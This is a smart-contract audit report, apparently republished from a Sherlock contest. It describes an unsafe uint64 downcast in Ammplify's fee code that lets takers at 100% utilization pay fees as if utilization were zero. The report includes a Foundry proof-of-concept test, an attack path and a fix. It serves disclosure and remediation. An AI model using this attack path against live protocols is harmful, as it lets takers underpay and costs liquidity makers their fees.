Utilization Ratio Overflow Due to Incorrecte uint64 Cast
The fee calculation functions downcast a 256-bit utilization ratio to 64 bits, causing an overflow to zero at 100% utilization. As a result, takers are charged fees as if utilization were 0%, and fee distribution is skewed.
ARMoh Follow with HeckerTrieuTien, blockace and 1 other
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2025-09-ammplify-judging/issues/608
Found by
ARMoh, HeckerTrieuTien, blockace, globalace
Summary
The chargeTrueFeeRate() and getLeftRightWeights() functions in walkers/Fee.sol incorrectly assume that calculateRateX64() requires a uint64 input. In reality, the function accepts a uint128. Because of this wrong assumption, utilization ratios are downcast from uint256 to uint64, which can silently overflow.
Root Cause
In https://github.com/sherlock-audit/2025-09-ammplify/blob/main/Ammplify/src/walkers/Fee.sol#L398 and https://github.com/sherlock-audit/2025-09-ammplify/blob/main/Ammplify/src/walkers/Fee.sol#L347 The utilization ratio is computed as :
uint64 utilX64 = uint64((totalTLiq << 64) / totalMLiq);
- The code incorrectly assumed that calculateRateX64() only accepts a uint64, but its signature uses a uint128.
function calculateRateX64( SmoothRateCurveConfig memory self, uint128 utilX64)
- At 100% utilization (totalTLiq == totalMLiq), the expression evaluates to 1 << 64, which cannot fit in uint64 and silently wraps to 0.
As a result, instead of passing a correct utilization ratio, the function incorrectly sends 0 to calculateRateX64(), leading to fees being computed as if utilization was 0%
Internal Pre-conditions
- Both
chargeTrueFeeRate()andgetLeftRightWeights()downcast the utilization ratio into uint64. - No clamping exists to prevent overflow at 1 << 64.
External Pre-conditions
- A maker must have provided liquidity in a liquidity pool.
- A taker opens a position in the same pool, with the same maker’s tick range, and borrows all available liquidity.
Attack Path
- A liquidity pool reaches 100% utilization.
- Utilization ratio (totalTLiq << 64) / totalMLiq evaluates to 1 << 64. The cast to uint64 wraps this to 0.
- calculateRateX64() receives a utilization input of 0 instead of full utilization.
- Takers are charged incorrect (much lower) fees, and fee splits are misallocated.
Impact
- Takers at 100% utilization are undercharged and pay as if utilization was 0%.
- Protocol Makers lose fees during the highest utilization periods.
- getLeftRightWeights() uses the wrong utilization when allocating fees, skewing distribution.
PoC
function setUp() public {
_newDiamond();
//////////
adminFacet.submitRights(address(this), AmmplifyAdminRights.TAKER, true);
vm.warp(block.timestamp + 3 days);
adminFacet.acceptRights();
/////////////////////
(, address _pool, address _token0, address _token1) = setUpPool();
token0 = MockERC20(_token0);
token1 = MockERC20(_token1);
pool = UniswapV3Pool(_pool);
// Set up recipient and basic test parameters
recipient = address(this);
poolAddr = _pool;
lowTick = -600;
highTick = 600;
liquidity = 100e18;
//addPoolLiq(0, lowTick, highTick, liquidity);
minSqrtPriceX96 = MIN_SQRT_RATIO;
maxSqrtPriceX96 = MAX_SQRT_RATIO;
poolInfo = viewFacet.getPoolInfo(poolAddr);
// Fund this contract for testing
_fundAccount(address(this));
////////////////////////////////////
vaultIndices = [0, 1];
sqrtPriceLimitsX96 = [MIN_SQRT_RATIO, MAX_SQRT_RATIO];
freezeSqrtPriceX96 = 3 << 95; // Above range, 1.5 = sqrt(price)
// Create vaults for the pool tokens
_createPoolVaults(poolAddr);
}
function test_PoC() public {
bytes memory rftData = "";
int24 lowTick1 = -600;
int24 highTick1 = 0;
uint128 liquidity1 = 100e18;
uint256 assetId1 = makerFacet.newMaker(
recipient,
poolAddr,
lowTick1,
highTick1,
liquidity1,
false, // non-compounding
minSqrtPriceX96,
maxSqrtPriceX96,
rftData
);
//////////////////////////////////
int24 lowTick2 = 0;
int24 highTick2 = 600;
uint128 liquidity2 = 100e18;
uint256 assetId2 = makerFacet.newMaker(
recipient,
poolAddr,
lowTick2,
highTick2,
liquidity2,
false, // non-compounding
minSqrtPriceX96,
maxSqrtPriceX96,
rftData
);
///////////////////////////////////
// Taker1: usage ratio 100%
ticks = [-600,int24(0)];
uint128 taker1Liquidity = 100e18;
uint256 assetId3 = takerFacet.newTaker(
recipient,
poolAddr,
ticks,
taker1Liquidity,
vaultIndices,
sqrtPriceLimitsX96,
freezeSqrtPriceX96,
rftData
);
//////////////////////////////////
// Taker2: usage ratio 50%
ticks = [int24(0), 600];
uint128 taker2Liquidity = 50e18;
uint256 assetId4 = takerFacet.newTaker(
recipient,
poolAddr,
ticks,
taker2Liquidity,
vaultIndices,
sqrtPriceLimitsX96,
freezeSqrtPriceX96,
rftData
);
// time pass then we calculate the takers fees and balances
vm.warp(block.timestamp + 60 seconds);
(int256 taker1QueriedNetBalance0, int256 taker1QueriedNetBalance1, uint256 taker1QueriedFees0, uint256 taker1QueriedFees1) =
viewFacet.queryAssetBalances(assetId3);
console2.log("Taker queriedBalance0 :", taker1QueriedNetBalance0);
console2.log("Taker queriedBalance1 :", taker1QueriedNetBalance1);
console2.log("Taker fees : 0 -- 1 :", taker1QueriedFees0, taker1QueriedFees1);
///////////
(int256 taker2QueriedNetBalance0, int256 taker2QueriedNetBalance1, uint256 taker2QueriedFees0, uint256 taker2QueriedFees1) =
viewFacet.queryAssetBalances(assetId4);
console2.log("Taker queriedBalance0 :", taker2QueriedNetBalance0);
console2.log("Taker queriedBalance1 :", taker2QueriedNetBalance1);
console2.log("Taker fees : 0 -- 1 :", taker2QueriedFees0, taker2QueriedFees1);
// Taker2 with usage ration of 50% will pay higher fees that Taker1 with usage ratio of 100%
assertGe(taker2QueriedFees0,taker1QueriedFees0);
assertGe(taker2QueriedFees1,taker1QueriedFees1);
}
Mitigation
- Do not cast the utilX64 result into uint64. Compute it in uint256, then safely cast to uint128 :
uint256 rawUtilX64 = FullMath.mulDiv(totalTLiq, 1 << 64), totalMLiq);
uint128 utilX64 = uint128(rawUtilX64);
uint128 ratePerYearX64 = data.fees.rateConfig.calculateRateX64(utilX64);
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/itos-finance/Ammplify/pull/42
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The code incorrectly assumed that calculateRateX64() only accepts a uint64, but its signature uses a uint128, leading to an unsafe downcast of the utilization ratio from uint256 to uint64.
Impact
Takers at 100% utilization are undercharged and pay as if utilization was 0%, while protocol makers lose fees during the highest utilization periods and fee distribution is skewed.
What the attacker needed
A maker must have provided liquidity in a pool; A taker borrows all available liquidity in the same tick…
The fix
The protocol team fixed this issue in the following PRs/commits.
How it was found
- A liquidity pool reaches 100% utilization.
- The utilization ratio (totalTLiq << 64) / totalMLiq evaluates to 1 << 64, which wraps to 0 when cast to uint64.
- calculateRateX64() receives a utilization input of 0 instead of full utilization.
- Takers are charged incorrect (much lower) fees, and fee splits are misallocated.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract calculates a fee based on how much of a pool is being used. It stores that usage as a number that is too small, so when the pool is fully used the number wraps around to zero. This makes the fee calculation think the pool is empty, so users pay much less than they should.